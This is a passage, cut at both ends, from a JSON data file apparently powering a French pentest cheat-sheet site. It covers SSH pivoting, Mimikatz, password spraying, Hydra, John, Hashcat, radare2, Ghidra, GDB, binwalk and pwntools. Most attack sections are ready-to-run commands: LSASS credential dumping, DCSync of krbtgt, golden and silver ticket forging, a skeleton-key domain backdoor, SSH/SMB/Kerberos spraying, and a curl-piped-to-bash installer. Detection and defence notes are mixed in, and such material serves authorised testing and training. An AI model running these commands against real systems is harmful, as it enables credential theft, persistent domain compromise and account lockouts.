(10.10.20.5) → cible (10.10.30.10)\n\n# 1. SOCKS sur jump1\nssh -D 1080 -N -f user@10.10.10.5\n\n# 2. Depuis jump1, tunnel vers jump2\nssh -L 2222:10.10.20.5:22 user@10.10.20.5\n\n# 3. Chaîner un second proxy\nssh -D 1081 -N -f -p 2222 user@127.0.0.1"},{"s":"mimikatz","t":"Mimikatz","d":"Extraire les secrets Windows : LSASS, SAM, LSA, Kerberos, DPAPI et tickets.","c":"post","k":"tool","g":["credentials","lsass","kerberos","dpapi","golden-ticket","kiwi","lsass dump","sekurlsa"],"h":["Préparer","Secrets LSASS","SAM, LSA et DCSync","Tickets Kerberos","DPAPI et certificats","Détection"],"b":"Préparer [!TIP] privilege::debug est indispensable pour accéder à LSASS. Si le debug est refusé, vérifie les droits du processus et les protections EDR avant d'insister : l'échec est souvent la première alerte. Secrets LSASS SAM, LSA et DCSync Tickets Kerberos DPAPI et certificats [!WARNING] misc::skeleton doit être exécuté sur un contrôleur de domaine et modifie le comportement d'authentification de tout le domaine. C'est une action de persistance lourde, jamais acceptable en audit sans accord explicite. Les golden tickets et DCSync sont également critiques : privilégie la démonstration contrôlée. Détection - Accès suspect à lsass.exe (handle PROCESS VM READ ). - Création de lsass.dmp , de services ou de tickets inhabituels. - Event 4768/4769 anormaux, golden ticket avec des durées de vie étranges. - EDR : les chaînes Mimikatz sont largement signatureées ; préfère des variantes comme pypykatz , SafetyKatz ou un dump via comsvcs.dll en environnement de test.","x":"# Exécuter en admin (ou SYSTEM)\n.\\mimikatz.exe\n\nmimikatz # privilege::debug\nmimikatz # token::elevate\n\n# Mots de passe et hashes des sessions actives\nmimikatz # sekurlsa::logonpasswords\n\n# WDigest (mot de passe en clair si activé)\nmimikatz # sekurlsa::wdigest\n\n# Clés Kerberos\nmimikatz # sekurlsa::ekeys\n\n# Tickets présents en mémoire\nmimikatz # sekurlsa::tickets /export\n\n# Dump LSASS hors ligne\nprocdump.exe -accepteula -ma lsass.exe lsass.dmp\n\n# Analyse avec pypykatz\npypykatz lsa minidump lsass.dmp\n\n# Comptes locaux (hashs NTLM)\nmimikatz # lsadump::sam\n\n# Secrets LSA (dont clés de service)\nmimikatz # lsadump::lsa /patch\n\n# DCSync : extraire le hash d'un compte du domaine\nmimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt\n\n# Trusts et mots de passe de confiance\nmimikatz # lsadump::trust /patch\n\n# Golden ticket (krbtgt nécessaire)\nmimikatz # kerberos::golden /user:Administrator /domain:domain.local \\\n  /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:KRBTGT_HASH /ptt\n\n# Silver ticket (hash du compte de service)\nmimikatz # kerberos::golden /user:Administrator /domain:domain.local \\\n  /sid:S-1-5-21-... /target:fileserver.domain.local \\\n  /service:cifs /rc4:SERVICE_HASH /ptt\n\n# Charger un ticket existant\nmimikatz # kerberos::ptt ticket.kirbi\nmimikatz # kerberos::list\n\n# Clés de chiffrement utilisateur\nmimikatz # dpapi::masterkey /in:masterkey.bin /rpc\n\n# Certificats de la machine\nmimikatz # crypto::certificates /systemstore:local_machine /export\n\n# Skeleton key : mot de passe maître pour tous les comptes (DC)\nmimikatz # misc::skeleton\n\n# Vérifier que la backdoor est active\n# Login : n'importe quel compte avec le mot de passe \"mimikatz\""},{"s":"password-attacks","t":"Password attacks","d":"La méthode complète : spraying en ligne avec Hydra, cracking hors ligne avec John et Hashcat.","c":"cracking","k":"technique","g":["password","spraying","credential","wordlist","methodology","credential attacks","password cracking","password spraying"],"h":["Deux terrains","Reconnaissance avant de frapper","Wordlists et mutations","En ligne : Hydra et spraying","Hors ligne : John et Hashcat","Cibles typiques","Après le crack","Défenses"],"b":"Deux terrains En ligne Hors ligne --- --- Hydra, NetExec, Kerbrute John, Hashcat Verrouillage, MFA, rate limit GPU, règles, masques Bruité, journalisé Silencieux, rapide Teste une authentification réelle Casse un hash déjà obtenu [!TIP] Ne mélange pas les deux : Hydra ne casse pas un hash, et John ne teste pas un formulaire. Les deux se complètent : on capture ou on dump, puis on casse, puis on réutilise. Reconnaissance avant de frapper - Seuil de verrouillage : nombre d'échecs, durée, fenêtre d'observation. - MFA : un mot de passe valide ne suffit pas sur les accès protégés. - Format des logins : prenom.nom , p.nom , sAMAccountName , emails. - Contexte : nom de l'entreprise, produit, ville, année, saison, mots de passe par défaut. - Sources de usernames : OSINT, kerbrute userenum , nxc smb --users , LDAP, pages équipe. Wordlists et mutations Les meilleures wordlists sont contextuelles : ajoute le nom du client, ses produits, ses villes, les années et les variantes de mots de passe d'entreprise. Une liste de 10 000 mots ciblés bat souvent rockyou. En ligne : Hydra et spraying [!WARNING] Vérifie le seuil de verrouillage avant tout spraying. Un seul mot de passe testé sur tous les comptes peut verrouiller toute l'organisation. Espace les tentatives, utilise un compte de test et préviens le client. Détails, modules et contournements de formulaires : Hydra. Hors ligne : John et Hashcat Hash Format John Mode Hashcat --- --- --- NTLM nt 1000 NetNTLMv2 netntlmv2 5600 Kerberoast krb5tgs 13100 AS-REP krb5asrep 18200 sha512crypt sha512crypt 1800 bcrypt bcrypt 3200 MD5 raw-md5 0 Clé SSH ssh — (John) Détails des formats, règles et outils 2john : John the Ripper. Modes, GPU et masques : Hashcat. Cibles typiques Windows - SAM / LSA / NTDS via Impacket ou NetExec. - NetNTLMv2 capturés par Responder et relais NTLM. - Kerberoast / AS-REP via Attaques Active Directory. - Secrets mémoire et DPAPI via Mimikatz. Linux - /etc/shadow avec unshadow /etc/passwd /etc/shadow hashes.txt . - Clés SSH chiffrées : ssh2john id rsa ssh.hash . - Mots de passe dans les historiques, fichiers de config et sauvegardes. Fichiers et applications - ZIP, RAR, 7z, PDF, Office, KeePass : outils 2john . - Hashs de bases de données, JWT secrets, tokens d'API. - Panneaux web, VPN, FTP, SSH, RDP, MSSQL : retour aux attaques en ligne. Après le crack - Un mot de passe cassé sur un service est souvent réutilisé ailleurs. - Vérifie les comptes de service, les accès VPN, les panneaux d'administration. - Documente la source du hash et la méthode, pas le mot de passe en clair dans le rapport final. [!WARNING] Les mots de passe cassés sont des données sensibles. Stocke-les chiffrés, limite leur accès, ne les réutilise jamais hors du scope autorisé et supprime-les après la mission. Défenses - MFA sur tous les accès exposés, mots de passe sans reuse, gestionnaire de secrets. - Phrases de passe longues, listes de mots de passe interdits, rotation des comptes de service. - bcrypt ou argon2 pour le stockage, avec sel et pepper. - Verrouillage progressif, rate limiting et alerting sur les échecs. - Désactiver NTLMv1, LLMNR/NBT-NS, et limiter les délégations. - Credential Guard, LSA protection, surveillance des événements 4625/4771/4768/4769. - Comptes leurres et détection des sprayings lents.","x":"# Politique de verrouillage Windows\nnxc smb dc01.domain.local -u user -p 'Password' --pass-pol\nnet accounts\n\n# Politique locale Linux\nchage -l user\ngrep -R \"pam_pwquality\\|minlen\\|remember\" /etc/pam.d /etc/security 2>/dev/null\n\n# Wordlists classiques\n/usr/share/wordlists/rockyou.txt\n/usr/share/seclists/Passwords/Common-Credentials/\n/usr/share/seclists/Passwords/Leaked-Databases/\n\n# Hashcat : dictionnaire + règles\nhashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule\n\n# John : dictionnaire + règles\njohn --wordlist=rockyou.txt --rules hashes.txt\n\n# Masque ciblé : mot + 4 chiffres\nhashcat -m 1000 hashes.txt -a 3 'MotDePasse?d?d?d?d'\n\n# Un mot de passe, beaucoup de comptes (spraying)\nhydra -L users.txt -p 'Summer2026!' ssh://10.10.10.10 -t 2\n\n# Beaucoup de mots de passe sur un compte (brute force ciblé)\nhydra -l admin -P passwords.txt ssh://10.10.10.10 -t 2 -f\n\n# Formulaire web\nhydra -L users.txt -P passwords.txt target.test http-post-form \\\n  \"/login:username=^USER^&password=^PASS^:F=Invalid credentials\"\n\n# Spraying SMB avec NetExec\nnxc smb 10.10.10.0/24 -u users.txt -p 'Summer2026!' --continue-on-success\n\n# Spraying Kerberos\nkerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt 'Summer2026!'\n\n# Identifier puis casser\nhashid '5f4dcc3b5aa765d61d8327deb882cf99'\njohn --format=raw-md5 --wordlist=rockyou.txt hashes.txt\nhashcat -m 0 hashes.txt rockyou.txt\n\n# Résultats\njohn --show hashes.txt\nhashcat -m 0 hashes.txt --show\n\n# Réutiliser les identifiants sur le périmètre\nnxc smb 10.10.10.0/24 -u cracked-users.txt -p cracked-passwords.txt --continue-on-success\n\n# Tester le compte local administrateur réutilisé\nnxc smb 10.10.10.10 -u Administrator -p 'CrackedPass!' --local-auth"},{"s":"hydra","t":"Hydra","d":"Attaquer les services d'authentification en ligne : SSH, FTP, HTTP, RDP, SMB et plus.","c":"cracking","k":"tool","g":["bruteforce","passwords","ssh","http","spraying","thc-hydra","password attack"],"h":["SSH / FTP / RDP","HTTP","Autres services","Reprise et discrétion"],"b":"SSH / FTP / RDP Option Effet --- --- -l / -L Login unique / fichier -p / -P Mot de passe unique / fichier -t Tâches parallèles (défaut 16) -f Stop au premier succès -V Affiche chaque tentative -s Port custom -o Fichier de résultats HTTP Syntaxe http-post-form : chemin:corps:condition . - F= échec (texte présent quand le login échoue). - S= succès (texte présent quand le login réussit). - H= header additionnel. - C= cookie. [!TIP] Trouve d'abord un vrai compte de test et capture la requête dans Burp. La moindre différence (CSRF token, cookie, JSON) fait échouer Hydra. Si un token CSRF est présent, utilise un script Python ou ffuf avec extraction dynamique. Autres services Reprise et discrétion [!TIP] Hydra teste une authentification en ligne. Pour casser des hashes déjà récupérés, passe à John ou Hashcat, et suis la méthode Password attacks. [!WARNING] Une attaque en ligne verrouille les comptes et remplit les logs. Vérifie la policy de verrouillage ( net accounts , nxc --pass-pol ) avant de lancer. En audit, un spraying lent (1 mot de passe, plusieurs comptes) est souvent plus réaliste et moins destructeur qu'un bruteforce massif.","x":"# SSH avec listes\nhydra -L users.txt -P passwords.txt ssh://10.10.10.10 -t 4 -V\n\n# Un utilisateur, plusieurs mots de passe\nhydra -l admin -P passwords.txt ssh://10.10.10.10 -f\n\n# FTP\nhydra -L users.txt -P passwords.txt ftp://10.10.10.10\n\n# RDP (module rdp, lent)\nhydra -L users.txt -P passwords.txt rdp://10.10.10.10 -t 2 -V\n\n# Basic auth\nhydra -L users.txt -P passwords.txt target.test http-get /admin/\n\n# Formulaire POST\nhydra -L users.txt -P passwords.txt target.test http-post-form \\\n  \"/login:username=^USER^&password=^PASS^:F=Invalid credentials\"\n\n# Avec cookie et header\nhydra -L users.txt -P passwords.txt target.test http-post-form \\\n  \"/api/login:{\\\"user\\\":\\\"^USER^\\\",\\\"pass\\\":\\\"^PASS^}:F=401:H=Content-Type: application/json\"\n\n# SMB\nhydra -L users.txt -P passwords.txt smb://10.10.10.10\n\n# MySQL\nhydra -L users.txt -P passwords.txt mysql://10.10.10.10\n\n# PostgreSQL\nhydra -L users.txt -P passwords.txt postgres://10.10.10.10\n\n# SMTP (enum + auth)\nhydra -L users.txt -P passwords.txt smtp://10.10.10.10\n\n# Sauvegarder la session\nhydra -L users.txt -P passwords.txt ssh://10.10.10.10 -o hydra.log\n\n# Reprendre\nhydra -R\n\n# Ralentir\nhydra -L users.txt -P passwords.txt ssh://10.10.10.10 -t 1 -w 3"},{"s":"john","t":"John the Ripper","d":"Cracker des hashes hors ligne : formats, wordlists, règles, masques et extraction avec les outils *2john.","c":"cracking","k":"tool","g":["password","hash","wordlist","rules","offline","john","jtr","johnny"],"h":["Identifier le hash","Wordlists et règles","Masques et incrémental","Sessions et performance","Extraire les hashes","Après le crack"],"b":"Identifier le hash Type Format John --- --- MD5 / SHA-1 / SHA-256 raw-md5 , raw-sha1 , raw-sha256 NTLM / LM nt , lm NetNTLMv2 netntlmv2 Kerberoast / AS-REP krb5tgs , krb5asrep sha512crypt / bcrypt sha512crypt , bcrypt Clé SSH chiffrée ssh ZIP / RAR / PDF / Office zip , rar , pdf , office [!TIP] Utilise John the Ripper Jumbo : les formats récents, les masques et les outils 2john n'existent pas dans la version « core ». Sur Kali, le paquet john inclut Jumbo. Wordlists et règles Masques et incrémental Symbole Classe --- --- ?l minuscules ?u majuscules ?d chiffres ?s caractères spéciaux ?a tout l'espace imprimable Sessions et performance [!TIP] Si John paraît lent, vérifie d'abord le format avec --format et compare avec Hashcat sur GPU. John est excellent pour les formats exotiques et les fichiers ; Hashcat est généralement plus rapide sur les gros dictionnaires. Extraire les hashes [!TIP] Les outils 2john sont installés avec Jumbo, souvent dans /usr/share/john/ . Si une commande manque : dpkg -L john grep 2john ou locate 2john . Après le crack John casse des hashes ; il ne teste pas l'authentification en ligne. Pour les formulaires, SSH, RDP et le spraying, utilise Hydra et suis la méthode Password attacks. [!WARNING] Le cracking consomme CPU/GPU et peut faire chauffer une machine de production. Travaille sur du matériel dédié, stocke les résultats dans un pot file chiffré et ne conserve pas les mots de passe en clair au-delà du rapport.","x":"hashid '5f4dcc3b5aa765d61d8327deb882cf99'\njohn --list=formats | tr ',' '\\n' | grep -iE \"md5|nt|bcrypt|sha512|krb|ssh|zip\"\n\n# Forcer un format précis\njohn --format=raw-md5 hashes.txt\njohn --format=nt hashes.txt\n\n# Dictionnaire simple\njohn --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt\n\n# Règles de mutation (majuscules, suffixes, leetspeak)\njohn --wordlist=rockyou.txt --rules hashes.txt\njohn --wordlist=rockyou.txt --rules=Jumbo hashes.txt\n\n# Single mode : dérive les candidats du login et des champs GECOS\njohn --single hashes.txt\n\n# Pipe de candidats générés à la volée\nprintf 'Spring2026!\\nSummer2026!\\n' | john --stdin hashes.txt\n\n# Règles personnalisées dans ~/.john/john.conf ou /etc/john/john.conf\n# [List.Rules:Corp]\n# Az\"[0-9][0-9][0-9][0-9]\"\njohn --wordlist=words.txt --rules=Corp hashes.txt\n\n# MotDePasse + 4 chiffres, minuscules\njohn --mask='?l?l?l?l?d?d?d?d' hashes.txt\n\n# Incrémental intégré\njohn --incremental=Digits hashes.txt\njohn --incremental hashes.txt\n\n# Combiner dictionnaire puis masque\njohn --wordlist=words.txt hashes.txt\njohn --mask='?u?l?l?l?l?d?d' hashes.txt\n\n# Session nommée, reprise possible\njohn --session=mission --wordlist=rockyou.txt hashes.txt\njohn --status=mission\njohn --restore=mission\n\n# Paralléliser sur plusieurs cœurs\njohn --fork=8 --wordlist=rockyou.txt hashes.txt\n\n# Distribution manuelle : nœud 1 sur 4\njohn --node=1/4 --fork=4 --wordlist=rockyou.txt hashes.txt\n\n# Pot file dédié\njohn --pot=mission.pot --wordlist=rockyou.txt hashes.txt\n\n# Benchmark et résultats\njohn --test=10\njohn --show hashes.txt\njohn --show=left hashes.txt\n\n# Linux : fusionner passwd + shadow\nunshadow /etc/passwd /etc/shadow > shadow.txt\njohn --wordlist=rockyou.txt shadow.txt\n\n# Windows : hashs NTLM issus de secretsdump / hashdump\njohn --format=nt ntlm.txt\n\n# NetNTLMv2 capturés par Responder\njohn --format=netntlmv2 capture.txt\n\n# Kerberos\njohn --format=krb5tgs kerberoast.txt\njohn --format=krb5asrep asrep.txt\n\n# Fichiers protégés par mot de passe\nzip2john archive.zip > zip.hash\nrar2john archive.rar > rar.hash\n7z2john.pl archive.7z > 7z.hash\npdf2john.py document.pdf > pdf.hash\noffice2john.py document.docx > office.hash\nssh2john id_rsa > ssh.hash\nkeepass2john base.kdbx > keepass.hash\n\njohn --wordlist=rockyou.txt zip.hash\njohn --wordlist=rockyou.txt ssh.hash\n\n# Afficher les mots de passe trouvés\njohn --show hashes.txt\njohn --show --format=nt ntlm.txt\n\n# Ne garder que les comptes encore non cassés\njohn --show=left --format=krb5tgs kerberoast.txt\n\n# Tester la réutilisation sur d'autres services\nnxc smb 10.10.10.0/24 -u users.txt -p cracked.txt --continue-on-success"},{"s":"hashcat","t":"Hashcat","d":"Identifier un hash, choisir le bon mode et casser hors ligne avec dictionnaires, règles et masques.","c":"cracking","k":"tool","g":["hash","cracking","ntlm","kerberoast","gpu","hash cracking","john the ripper"],"h":["Identifier le hash","Modes courants","Attaques","Afficher et gérer","Optimisation"],"b":"Identifier le hash Modes courants Mode Hash --- --- 0 MD5 100 SHA1 1000 NTLM 1800 sha512crypt 3200 bcrypt 13100 Kerberoast (TGS-REP) 18200 AS-REP 22000 WPA-PBKDF2 16500 JWT 1700 SHA-512 Attaques Attaque Option --- --- Dictionnaire -a 0 Combinaison -a 1 Masque -a 3 Hybride mot de passe + masque -a 6 Hybride masque + mot de passe -a 7 Afficher et gérer Optimisation [!TIP] Les règles comptent plus que la taille du dictionnaire. best64.rule , dive.rule et les règles spécifiques à l'entreprise (nom, saison, année) cassent souvent plus vite que 10 Go de rockyou. [!TIP] Pour les formats exotiques, les fichiers protégés (ZIP, PDF, Office, KeePass) et les clés SSH, John the Ripper est souvent plus direct. La méthode complète est dans Password attacks. [!WARNING] Le cracking est gourmand en GPU et peut faire chauffer une machine de production. Utilise du matériel dédié, surveille la température, et ne stocke jamais les mots de passe cassés en clair au-delà du rapport.","x":"# Longueur et format\nhashid 'aad3b435b51404eeaad3b435b51404ee'\nhash-identifier\n\n# Exemples\n# 32 hex        → MD5 (0) / NTLM (1000)\n# 40 hex        → SHA1 (100)\n# $2y$...       → bcrypt (3200)\n# $6$...        → sha512crypt (1800)\n# $krb5tgs$...  → Kerberoast (13100)\n# $krb5asrep$...→ AS-REP (18200)\n\n# Lister les modes\nhashcat -h | grep -iE \"kerberos|ntlm|bcrypt|sha512\"\n\n# Dictionnaire simple\nhashcat -m 1000 hashes.txt rockyou.txt\n\n# Dictionnaire + règles (majuscules, suffixes, leetspeak)\nhashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule\n\n# Masque : 8 caractères, minuscules + chiffres\nhashcat -m 1000 hashes.txt -a 3 '?l?l?l?l?l?l?l?l'\n\n# Masque ciblé : MotDePasse + 2 chiffres\nhashcat -m 1000 hashes.txt -a 3 'MotDePasse?d?d'\n\n# Combinaison de deux dictionnaires\nhashcat -m 1000 hashes.txt -a 1 words1.txt words2.txt\n\n# Résultats trouvés\nhashcat -m 1000 hashes.txt --show\n\n# Fichier potfile custom\nhashcat -m 1000 hashes.txt rockyou.txt --potfile-path ./mission.pot\n\n# Username:hash → ne pas casser le username\nhashcat -m 1000 hashes.txt --username\n\n# Benchmark GPU\nhashcat -b -m 1000\n\n# GPU dédié, charge de travail élevée\nhashcat -m 1000 hashes.txt rockyou.txt -O -w 4\n\n# Plusieurs GPU\nhashcat -m 1000 hashes.txt rockyou.txt -D 1,2\n\n# Session nommée\nhashcat -m 1000 hashes.txt rockyou.txt --session mission\nhashcat --session mission --restore"},{"s":"radare2","t":"radare2","d":"Désassembler, analyser et patcher un binaire depuis le terminal avec r2 et rabin2.","c":"reverse","k":"tool","g":["disassembly","reversing","elf","patching","r2","r2","radare","rabin2"],"h":["Inspection rapide","Navigation et analyse","Mode visuel","Debug et patch","Plugins utiles"],"b":"Inspection rapide Navigation et analyse Commande Effet --- --- s addr Se déplacer pd 20 Désassembler 20 instructions px 64 Hexdump 64 octets ps Chaîne à l'adresse af Analyser la fonction courante afl Lister les fonctions axt Xrefs vers une adresse axf Xrefs depuis une fonction Mode visuel Debug et patch Plugins utiles [!TIP] Pour un crackme simple : aaa , afl , s main , pdf , izz , puis cherche strcmp , memcmp ou les messages de succès. Les xrefs ( axt ) mènent presque toujours à la vérification. [!WARNING] Patcher un binaire signé casse la signature et peut déclencher un EDR. Travaille toujours sur une copie et vérifie les checksums avant/après.","x":"# Métadonnées, architecture, protections\nrabin2 -I ./binary\n\n# Sections, imports, exports, symboles\nrabin2 -S ./binary\nrabin2 -i ./binary\nrabin2 -E ./binary\nrabin2 -s ./binary\n\n# Chaînes lisibles et chaînes larges\nrabin2 -z ./binary\nrabin2 -zz ./binary\n\n# Ouvrir et analyser\nr2 -A ./binary\n\n# Sans analyse (plus rapide)\nr2 ./binary\n\n[0x00401000]> aaa                 # analyse complète\n[0x00401000]> afl                 # liste des fonctions\n[0x00401000]> aflm                # fonctions + métriques\n[0x00401000]> s main              # seek sur main\n[0x00401000]> pdf                 # désassembler la fonction\n[0x00401000]> pdc                 # pseudo-code (r2dec)\n[0x00401000]> iz                  # chaînes dans les données\n[0x00401000]> izz                 # toutes les chaînes\n[0x00401000]> axt @ str.flag      # références croisées\n[0x00401000]> axt sym.imp.strcmp  # qui appelle strcmp ?\n\nV        # mode visuel\nVv       # graphique\np        # changer de vue (disasm, hex, debug)\n/        # rechercher\n:        # commande r2\nq        # quitter\n\n# Debug\nr2 -d ./binary\n\n[0x...]> db main          # breakpoint\n[0x...]> dc               # continue\n[0x...]> dso              # step over\n[0x...]> dr               # registres\n[0x...]> px 64 @ rsp      # stack\n[0x...]> dm               # mappings\n\n# Patcher un saut conditionnel (NOP)\nr2 -w ./binary\n\n[0x...]> s 0x00401234\n[0x...]> wa nop\n[0x...]> wao nop          # NOP une instruction entière\n[0x...]> wc               # écrire les changements\n\nr2pm update\nr2pm -ci r2ghidra        # décompilateur Ghidra dans r2\nr2pm -ci r2dec           # décompilateur r2dec\nr2pm -ci r2frida         # pont Frida\n\n[0x...]> pdg              # pseudo-code Ghidra\n[0x...]> pdd              # pseudo-code r2dec"},{"s":"ghidra","t":"Ghidra","d":"Décompiler et annoter un binaire avec Ghidra, en GUI ou en mode headless.","c":"reverse","k":"tool","g":["decompiler","reversing","headless","binary","ghidra headless","decompilation"],"h":["Workflow GUI","Annoter efficacement","Décompiler","Headless","Scripting","Diff et firmware"],"b":"Workflow GUI Raccourci Action --- --- Ctrl+E Decompiler Ctrl+Shift+E Listing / désassemblage G Aller à une adresse Ctrl+Shift+F Rechercher Ctrl+L Renommer Ctrl+Shift+G Xrefs Ctrl+Alt+B Breakpoint (debugger) Annoter efficacement - Renomme FUN 00401234 en check password dès que tu comprends son rôle. - Applique des types aux variables ( int , char , structures) : le decompiler devient lisible. - Utilise Edit → Comments pour garder une trace de l'analyse. - Les xrefs ( Ctrl+Shift+G ) révèlent qui appelle une fonction critique. - Search → For Strings puis xrefs : le chemin le plus court vers la logique. Décompiler [!TIP] Si le pseudo-code est illisible, vérifie l'architecture et le format. Un binaire strippé de 32 bits se lit souvent mieux après avoir défini les calling conventions ( cdecl , stdcall ). Headless Scripting Diff et firmware [!WARNING] L'analyse automatique peut prendre plusieurs minutes sur un gros binaire et consommer beaucoup de RAM. Pour un firmware, commence par file , strings et binwalk avant de tout charger dans Ghidra.","x":"1. New Project → Non-Shared Project\n2. File → Import File → sélectionner le binaire\n3. Double-cliquer → Analyze (options par défaut)\n4. Accepter l'analyse automatique\n5. Ouvrir le Decompiler (Ctrl+E)\n\n// Exemple typique après renommage\nundefined8 check_password(char *input) {\n  if (strlen(input) != 12) return 0;\n  if (memcmp(input, &DAT_00402010, 12) == 0) return 1;\n  return 0;\n}\n\n# Analyse automatique sans GUI\n$GHIDRA_HOME/support/analyzeHeadless /tmp/ghidra-project MyProject \\\n  -import ./binary -postScript decompile.py -scriptPath ./scripts \\\n  -deleteProject\n\n# decompile.py — exporter le pseudo-code de toutes les fonctions\nfrom ghidra.app.decompiler import DecompInterface\nfrom ghidra.util.task import ConsoleTaskMonitor\n\ndecompiler = DecompInterface()\ndecompiler.openProgram(currentProgram)\nmonitor = ConsoleTaskMonitor()\n\nfor function in currentProgram.getFunctionManager().getFunctions(True):\n    result = decompiler.decompileFunction(function, 60, monitor)\n    if result.decompileCompleted():\n        print(f\"// {function.getName()}\")\n        print(result.getDecompiledFunction().getC())\n\n# Chercher une chaîne et ses xrefs\nfrom ghidra.program.model.symbol import RefType\n\ntarget = \"Correct password\"\nlisting = currentProgram.getListing()\nfor data in listing.getDefinedData(True):\n    value = data.getValue()\n    if value is not None and target in str(value):\n        print(\"string at\", data.getAddress())\n        for ref in getReferencesTo(data.getAddress()):\n            print(\"  xref from\", ref.getFromAddress())\n\nFile → Version Tracking → Add Session\nAjouter deux versions du binaire, créer des corrélations\nUtile pour repérer les correctifs et les backdoors ajoutées\n\n# Firmware : extraire d'abord les composants (binwalk)\nbinwalk -e firmware.bin\n# Puis importer chaque ELF / binaire extrait dans Ghidra"},{"s":"gdb","t":"GDB","d":"Debugger un binaire, inspecter la mémoire et automatiser l'analyse avec pwndbg, gef et GEF.","c":"reverse","k":"tool","g":["debugger","memory","breakpoints","pwndbg","elf","gdb","pwndbg","gef"],"h":["Lancer et inspecter","pwndbg / gef","Breakpoints conditionnels","Core dumps","Debug distant","Scripting"],"b":"Lancer et inspecter Commande Effet --- --- b 0x401234 Breakpoint à une adresse b main Breakpoint sur une fonction c Continuer ni / si Step over / into finish Terminer la fonction bt Backtrace frame 1 Changer de frame p $rax Afficher un registre set $rax=0 Modifier un registre vmmap Mappings (gef/pwndbg) pwndbg / gef Breakpoints conditionnels Core dumps Debug distant Scripting [!TIP] Pour un binaire PIE, b main fonctionne avant run si les symboles sont présents. Sinon, casse sur l'entrée ( starti ) puis calcule la base avec info proc mappings . [!WARNING] gdb peut modifier la mémoire et les registres. Sur un binaire de production ou un malware, utilise une VM isolée et un snapshot. Ne lance jamais un échantillon inconnu directement sur ton host.","x":"gdb ./binary\ngdb -q ./binary\ngdb --args ./binary input.txt\ngdb -p $(pidof target)\n\n(gdb) start              # break à main\n(gdb) run\n(gdb) info functions\n(gdb) info registers\n(gdb) info proc mappings\n(gdb) disassemble main\n(gdb) x/20i $pc\n(gdb) x/32gx $rsp\n(gdb) x/s 0x402000\n\n# pwndbg\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n# ou gef\nbash -c \"$(curl -fsSL https://gef.blah.cat/sh)\"\n\npwndbg> checksec\npwndbg> vmmap\npwndbg> heap\npwndbg> bins\npwndbg> telescope $rsp 20\npwndbg> cyclic 200\npwndbg> cyclic -l 0x6161616c\npwndbg> rop --grep \"pop rdi\"\npwndbg> got\npwndbg> stack 30\n\n(gdb) b *main+42 if *(int*)$rsp == 0\n(gdb) command 1\n> silent\n> printf \"arg: %s\\n\", $rdi\n> continue\n> end\n\n# Watchpoint : casser quand une valeur change\n(gdb) watch *(int*)0x404060\n(gdb) rwatch *(int*)0x404060\n\n# Autoriser les cores\nulimit -c unlimited\ncat /proc/sys/kernel/core_pattern\n\n# Analyser\ngdb ./binary core\n\n(gdb) bt\n(gdb) info registers\n(gdb) x/40gx $rsp\n(gdb) info proc mappings\n\n# Cible\ngdbserver :1234 ./binary\n\n# Attaquant\ngdb -q\n(gdb) target remote 10.10.10.10:1234\n(gdb) continue\n\n# Avec pwndbg et un binaire local pour les symboles\ngdb ./binary\n(gdb) target remote 10.10.10.10:1234\n(gdb) set sysroot ./libs\n\n# commands.gdb\nset pagination off\nset disassembly-flavor intel\nb main\nrun\nx/10i $pc\ninfo registers\nquit\n\ngdb -q -x commands.gdb ./binary"},{"s":"binwalk","t":"binwalk","d":"Analyser un firmware, détecter les signatures et extraire les systèmes de fichiers embarqués.","c":"reverse","k":"tool","g":["firmware","extraction","embedded","signatures","firmware analysis","binwalk -e"],"h":["Analyser","Identifier et monter","Workflow firmware"],"b":"Analyser Option Effet --- --- -e Extraction automatique -M Extraction récursive (matryoshka) -E Entropie -A Opcodes -R Recherche d'une signature -D Extraction avec type spécifié Identifier et monter Workflow firmware [!TIP] Si l'extraction automatique échoue, repère les offsets avec binwalk , puis découpe manuellement : dd if=firmware.bin bs=1 skip=OFFSET count=SIZE of=part.bin . Vérifie ensuite avec file . [!WARNING] Un firmware peut contenir des binaires malveillants ou des clés privées. Travaille dans une VM, ne monte pas les images en écriture et ne flashe jamais un firmware modifié sans validation.","x":"# Signatures et offsets\nbinwalk firmware.bin\n\n# Entropie (zones compressées/chiffrées)\nbinwalk -E firmware.bin\n\n# Signature + entropie + opcodes\nbinwalk -A firmware.bin\n\n# Rechercher une signature précise\nbinwalk -R \"\\x50\\x4b\\x03\\x04\" firmware.bin\n\n# Extraire automatiquement\nbinwalk -e firmware.bin\n\n# Extraction récursive (attention à la taille)\nbinwalk -Me firmware.bin\n\n# Extraire uniquement certains types\nbinwalk -e --include='squashfs' firmware.bin\n\nfile firmware.bin\nstrings -n 8 firmware.bin | head -50\n\n# Systèmes de fichiers extraits\nfile _firmware.bin.extracted/*\nunsquashfs _firmware.bin.extracted/squashfs-root.squashfs\njefferson _firmware.bin.extracted/jffs2-root.jffs2 -d out/\n\n# Monter une image ext4\nsudo mount -o loop,ro rootfs.ext4 /mnt/fw\nsudo mount -t squashfs -o loop squashfs-root.squashfs /mnt/fw\n\n# 1. Hashes et type\nsha256sum firmware.bin\nfile firmware.bin\n\n# 2. Entropie et signatures\nbinwalk -E firmware.bin\nbinwalk firmware.bin\n\n# 3. Extraction\nbinwalk -Me firmware.bin\n\n# 4. Recherche de secrets et binaires intéressants\ngrep -rInE \"password|secret|api[_-]?key|BEGIN (RSA|OPENSSH)\" _firmware.bin.extracted/ 2>/dev/null\nfind _firmware.bin.extracted -type f -name \"*.so\" -o -name \"*.cgi\" | head\n\n# 5. Analyse des services exposés\ncat _firmware.bin.extracted/etc/init.d/*"},{"s":"pwntools","t":"pwntools","d":"Écrire des exploits rapides : process, remote, ELF, ROP et shellcraft avec pwntools.","c":"pwn","k":"tool","g":["exploit-dev","python","rop","elf","shellcraft","pwn","pwntools exploit"],"h":["Template","Entrées / sorties","Offsets et cycles","ELF, GOT et ROP","Shellcraft","Format string","Debug"],"b":"Template Entrées / sorties Offsets et cycles ELF, GOT et ROP Shellcraft Format string Debug [!TIP] checksec d'abord, puis ROPgadget --binary ./chall grep \"pop rdi\" . Avec pwntools, ROP(elf) trouve les gadgets et construit la chaîne : moins d'erreurs d'alignement. [!WARNING] Un exploit qui marche en local peut échouer à distance à cause de la version de libc, de l'ASLR ou du réseau. Utilise libc-database ou pwninit pour identifier la bonne libc, et teste toujours 